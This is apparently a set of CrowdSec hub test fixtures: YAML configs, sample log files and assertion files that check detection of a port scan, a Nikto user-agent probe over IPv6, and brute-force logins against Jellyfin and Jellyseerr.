results[0].Overflow.Alert.Events[3].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[4].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[5].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[6].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[7].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[8].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[9].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[10].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[11].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[11].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[11].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[11].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[11].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[12].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[12].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[12].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[12].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[12].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[13].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[13].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[13].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[13].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[13].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[14].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[14].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[14].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[14].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[14].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[15].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[15].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[15].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[15].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[15].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/iptables-scan-multi_ports" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 16 hub1/.tests/ipv6-postoverflow/000077500000000000000000000000001437532772500166075ustar00rootroot00000000000000hub1/.tests/ipv6-postoverflow/config.yaml000066400000000000000000000005021437532772500207350ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-bad-user-agent postoverflows: - ./postoverflows/s00-enrich/crowdsecurity/ipv6_to_range.yaml log_file: ipv6-postoverflow.log log_type: nginx labels: {} ignore_parsers: true override_statics: [] hub1/.tests/ipv6-postoverflow/ipv6-postoverflow.log000066400000000000000000000005071437532772500227470ustar00rootroot000000000000002001:0db8:85a3:0000:0000:8a2e:0370:7334 - - [29/Sep/2021:14:11:34 +0200] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)" 2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - [29/Sep/2021:14:11:34 +0200] "GET / HTTP/1.1" 200 10918 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:getinfo)"hub1/.tests/ipv6-postoverflow/parser.assert000066400000000000000000000000001437532772500213140ustar00rootroot00000000000000hub1/.tests/ipv6-postoverflow/scenario.assert000066400000000000000000000044071437532772500216420ustar00rootroot00000000000000len(results) == 1 "2001:0db8:85a3:0000:0000:8a2e:0370:7334" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2001:0db8:85a3:0000:0000:8a2e:0370:7334"].IP == "2001:0db8:85a3:0000:0000:8a2e:0370:7334" results[0].Overflow.Sources["2001:0db8:85a3:0000:0000:8a2e:0370:7334"].Range == "" results[0].Overflow.Sources["2001:0db8:85a3:0000:0000:8a2e:0370:7334"].GetScope() == "Range" results[0].Overflow.Sources["2001:0db8:85a3:0000:0000:8a2e:0370:7334"].GetValue() == "2001:db8:85a3::/64" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "ipv6-postoverflow.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "HEAD" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:0db8:85a3:0000:0000:8a2e:0370:7334" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-09-29T14:11:34+02:00" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "ipv6-postoverflow.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:getinfo)" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:0db8:85a3:0000:0000:8a2e:0370:7334" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2021-09-29T14:11:34+02:00" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-bad-user-agent" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 2hub1/.tests/jellyfin-bf/000077500000000000000000000000001437532772500153555ustar00rootroot00000000000000hub1/.tests/jellyfin-bf/config.yaml000066400000000000000000000004511437532772500175060ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/jellyfin-logs.yaml scenarios: - ./scenarios/LePresidente/jellyfin-bf.yaml postoverflows: - "" log_file: jellyfin-bf.log log_type: jellyfin labels: {} ignore_parsers: true override_statics: [] hub1/.tests/jellyfin-bf/jellyfin-bf.log000066400000000000000000000017571437532772500202730ustar00rootroot00000000000000[2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1").hub1/.tests/jellyfin-bf/parser.assert000066400000000000000000000000001437532772500200620ustar00rootroot00000000000000hub1/.tests/jellyfin-bf/scenario.assert000066400000000000000000000071221437532772500204050ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[0].GetMeta("user") == "testuser" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[1].GetMeta("user") == "testuser" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[2].GetMeta("user") == "testuser" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[3].GetMeta("user") == "testuser" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[4].GetMeta("user") == "testuser" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "jellyfin-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "jellyfin_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "jellyfin" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2023-02-12T12:16:05.729Z" results[0].Overflow.Alert.Events[5].GetMeta("user") == "testuser" results[0].Overflow.Alert.GetScenario() == "LePresidente/jellyfin-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/jellyfin-logs/000077500000000000000000000000001437532772500157325ustar00rootroot00000000000000hub1/.tests/jellyfin-logs/config.yaml000066400000000000000000000004051437532772500200620ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/jellyfin-logs.yaml scenarios: - "" postoverflows: - "" log_file: jellyfin-logs.log log_type: jellyfin labels: {} ignore_parsers: false override_statics: [] hub1/.tests/jellyfin-logs/jellyfin-logs.log000066400000000000000000000004741437532772500212200ustar00rootroot00000000000000[2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has been denied (IP: "127.0.0.1"). [2023-02-13 08:37:50.708 +01:00] [INF] [115] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for "testuser" has succeeded.hub1/.tests/jellyfin-logs/parser.assert000066400000000000000000000106001437532772500204460ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for \"testuser\" has been denied (IP: \"127.0.0.1\")." results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "jellyfin" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "jellyfin-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[2023-02-13 08:37:50.708 +01:00] [INF] [115] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for \"testuser\" has succeeded." results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "jellyfin" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "jellyfin-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["LePresidente/jellyfin-logs"]) == 2 results["s01-parse"]["LePresidente/jellyfin-logs"][0].Success == true results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Parsed["message"] == "[2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for \"testuser\" has been denied (IP: \"127.0.0.1\")." results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Parsed["program"] == "jellyfin" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Parsed["timestamp"] == "2023-02-12 12:16:05.729" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Parsed["username"] == "testuser" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["log_type"] == "jellyfin_failed_auth" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["service"] == "jellyfin" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["user"] == "testuser" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["datasource_path"] == "jellyfin-logs.log" results["s01-parse"]["LePresidente/jellyfin-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/jellyfin-logs"][1].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[2023-02-12 12:16:05.729 +01:00] [INF] [79] Jellyfin.Server.Implementations.Users.UserManager: Authentication request for \"testuser\" has been denied (IP: \"127.0.0.1\")." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "jellyfin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2023-02-12 12:16:05.729" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "testuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "jellyfin-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "jellyfin_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "jellyfin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2023-02-12T12:16:05.729Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "testuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2023-02-12T12:16:05.729Z" len(results["success"][""]) == 0hub1/.tests/jellyfin-logs/scenario.assert000066400000000000000000000000001437532772500207460ustar00rootroot00000000000000hub1/.tests/jellyseerr-bf/000077500000000000000000000000001437532772500157215ustar00rootroot00000000000000hub1/.tests/jellyseerr-bf/config.yaml000066400000000000000000000004701437532772500200530ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/docker-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/jellyseerr-logs.yaml scenarios: - ./scenarios/LePresidente/jellyseerr-bf.yaml postoverflows: - "" log_file: jellyseerr-bf.log log_type: jellyseerr labels: {} ignore_parsers: true hub1/.tests/jellyseerr-bf/jellyseerr-bf.log000066400000000000000000000076471437532772500212070ustar00rootroot000000000000002022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.1","email":"fakeuser"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:17.637Z [warn][API]: Failed sign-in attempt using invalid Overseerr password {"ip":"::ffff:127.0.0.2","email":"fakeuser@example.com"} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:34.281Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.3","email":"fakeuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}} 2022-06-20T09:52:50.332Z [info][Auth]: Failed login attempt from user with incorrect Jellyfin credentials {"account":{"ip":"::ffff:127.0.0.4","email":"realuser","password":"__REDACTED__"}}hub1/.tests/jellyseerr-bf/parser.assert000066400000000000000000000000001437532772500204260ustar00rootroot00000000000000hub1/.tests/jellyseerr-bf/scenario.assert000066400000000000000000000347651437532772500207660ustar00rootroot00000000000000len(results) == 4 "127.0.0.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.4"].IP == "127.0.0.4" results[0].Overflow.Sources["127.0.0.4"].Range == "" results[0].Overflow.Sources["127.0.0.4"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.4"].GetValue() == "127.0.0.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[0].GetMeta("user") == "realuser" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[1].GetMeta("user") == "realuser" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[2].GetMeta("user") == "realuser" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[3].GetMeta("user") == "realuser" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[4].GetMeta("user") == "realuser" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "jellyseerr-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "jellyseerr_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "jellyseerr" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-20T09:52:50.332Z" results[0].Overflow.Alert.Events[5].GetMeta("user") == "realuser" results[0].Overflow.Alert.GetScenario() == "LePresidente/jellyseerr-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "127.0.0.3" in results[1].Overflow.GetSources() results[1].Overflow.Sources["127.0.0.3"].IP == "127.0.0.3" results[1].Overflow.Sources["127.0.0.3"].Range == "" results[1].Overflow.Sources["127.0.0.3"].GetScope() == "Ip" results[1].Overflow.Sources["127.0.0.3"].GetValue() == "127.0.0.3" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[0].GetMeta("user") == "fakeuser" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "jellyseerr-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "jellyseerr_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "jellyseerr" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.3" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-20T09:52:34.281Z" results[1].Overflow.Alert.Events[1].GetMeta("user") == "fakeuser" 